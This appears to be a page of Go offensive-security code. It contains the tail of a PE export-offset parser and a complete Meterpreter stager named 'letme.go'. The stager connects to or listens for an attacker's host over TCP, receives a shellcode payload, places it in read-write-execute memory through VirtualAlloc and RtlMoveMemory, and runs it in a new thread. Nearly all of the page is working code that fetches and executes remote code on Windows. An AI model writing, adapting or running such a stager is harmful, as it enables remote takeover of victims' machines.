  319. expOffset += int(addrBytes[i])
  320. }
  321. // Because we are looking for the position in the file we need to convert the address from in memory
  322. // to where it is in the raw file
  323. rawOffset = pointerToCodeRawData + DWORD(expOffset) - virtualOffsetForCode
  324. return
  325. }
  326. }
  327. }
  328. // Increment the section header the size of the the section header
  329. sectionHeaderOffset = sectionHeaderOffset + uint16(sectionHeaderSize)
  330. }
  331. return 0, errors.New("Export not found")
  332. }
  333. func getAddress(source []byte, offset DWORD, length uint32) (result []byte, err error) {
  334. result = make([]byte, length)
  335. rdrBytes := bytes.NewReader(source[offset : offset+DWORD(length)])
  336. err = binary.Read(rdrBytes, binary.LittleEndian, &result)
  337. return
  338. }
  339. func IMAGE_FIRST_SECTION(offset LONG, ntHeader IMAGE_NT_HEADERS) uint16 {
  340. //We need to find the starting address of the Section Images
  341. var x IMAGE_NT_HEADERS
  342. const sizeSignature = unsafe.Sizeof(x.Signature)
  343. const sizeFileHeader = unsafe.Sizeof(x.FileHeader)
  344. const sizeOptHeader = unsafe.Sizeof(x.OptionalHeader)
  345. total := uint16(uintptr(offset) + sizeSignature + sizeFileHeader + sizeOptHeader)
  346. return total
  347. }

GO MSF

  1. package main
  2. import (
  3. "bufio"
  4. "encoding/binary"
  5. "fmt"
  6. "io"
  7. "log"
  8. "net"
  9. "os"
  10. "reflect"
  11. "strings"
  12. "syscall"
  13. "unsafe"
  14. )
  15. func main() {
  16. var (
  17. addr string
  18. conn net.Conn
  19. lsnr net.Listener
  20. err error
  21. )
  22. fmt.Println("letme.go - Minimalistic Meterpreter stager written in Go")
  23. fmt.Println("Copyright (c) 2021 Marco Ivaldi <raptor@0xdeadbeef.info>")
  24. fmt.Println()
  25. // Parse the command line
  26. switch len(os.Args) {
  27. case 1:
  28. addr = ":4444"
  29. case 2:
  30. addr = os.Args[1]
  31. default:
  32. usage()
  33. }
  34. switch {
  35. case strings.HasPrefix(addr, "-"):
  36. usage()
  37. // Start a bind_tcp stager
  38. case strings.HasPrefix(addr, ":"):
  39. if arg := strings.Split(addr, ":"); arg[1] == "" {
  40. usage()
  41. }
  42. fmt.Printf("Using bind_tcp stager (%v)\n\n", addr)
  43. if lsnr, err = net.Listen("tcp", addr); err != nil {
  44. log.Fatalln(err.Error())
  45. }
  46. defer lsnr.Close()
  47. if conn, err = lsnr.Accept(); err != nil {
  48. log.Fatalln(err.Error())
  49. }
  50. defer conn.Close()
  51. // Start a reverse_tcp stager
  52. default:
  53. fmt.Printf("Using reverse_tcp stager (%v)\n\n", addr)
  54. if conn, err = net.Dial("tcp", addr); err != nil {
  55. log.Fatalln(err.Error())
  56. }
  57. defer conn.Close()
  58. }
  59. // Receive and execute the payload
  60. payload, err := receivePayload(conn)
  61. execPayload(payload)
  62. }
  63. // Print usage and exit
  64. func usage() {
  65. fmt.Println("Usage:")
  66. fmt.Println("C:\\> letme.exe [:port | host:port]")
  67. fmt.Println("\nExamples:")
  68. fmt.Println("C:\\> letme.exe :4444")
  69. fmt.Println("C:\\> letme.exe 192.168.0.66:4444")
  70. os.Exit(1)
  71. }
  72. // Helper function to get net.Conn's underlying socket descriptor
  73. func GetFdFromConn(conn net.Conn) (fd uint) {
  74. v := reflect.ValueOf(conn)
  75. netFD := reflect.Indirect(reflect.Indirect(v).FieldByName("fd"))
  76. pfd := reflect.Indirect(netFD.FieldByName("pfd"))
  77. fd = uint(pfd.FieldByName("Sysfd").Uint())
  78. return
  79. }
  80. // Receive a Meterpreter payload via TCP
  81. func receivePayload(conn net.Conn) (payload []byte, err error) {
  82. r := bufio.NewReader(conn)
  83. // Read the 4-byte payload length and allocate payload buffer
  84. tmp := make([]byte, 4)
  85. if _, err = io.ReadFull(r, tmp); err != nil {
  86. return
  87. }
  88. length := binary.LittleEndian.Uint32(tmp[:])
  89. payload = make([]byte, length+5)
  90. // Prepend some ASM to MOV the socket handle into EDI
  91. // MOV EDI, 0x12345678 ; BF 78 56 34 12
  92. fd := GetFdFromConn(conn)
  93. payload[0] = 0xbf
  94. binary.LittleEndian.PutUint32(payload[1:5], uint32(fd))
  95. // Download the Meterpreter payload
  96. if _, err = io.ReadFull(r, payload[5:]); err != nil {
  97. return
  98. }
  99. return
  100. }
  101. // Execute a Windows payload
  102. func execPayload(payload []byte) {
  103. const (
  104. MEM_COMMIT = 0x1000
  105. MEM_RESERVE = 0x2000
  106. INFINITE = 0xffffffff
  107. )
  108. // Allocate a RWX memory region
  109. kernel32 := syscall.MustLoadDLL("kernel32.dll")
  110. _VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
  111. ptr, _, _ := _VirtualAlloc.Call(0, uintptr(len(payload)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE)
  112. // Copy the payload
  113. _RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory")
  114. _RtlMoveMemory.Call(ptr, uintptr(unsafe.Pointer(&payload[0])), uintptr(len(payload)))
  115. // Execute the payload
  116. _CreateThread := kernel32.MustFindProc("CreateThread")
  117. th, _, _ := _CreateThread.Call(0, 0, ptr, 0, 0, 0)
  118. // Wait for the thread to finish running
  119. _WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
  120. _WaitForSingleObject.Call(th, INFINITE)
  121. }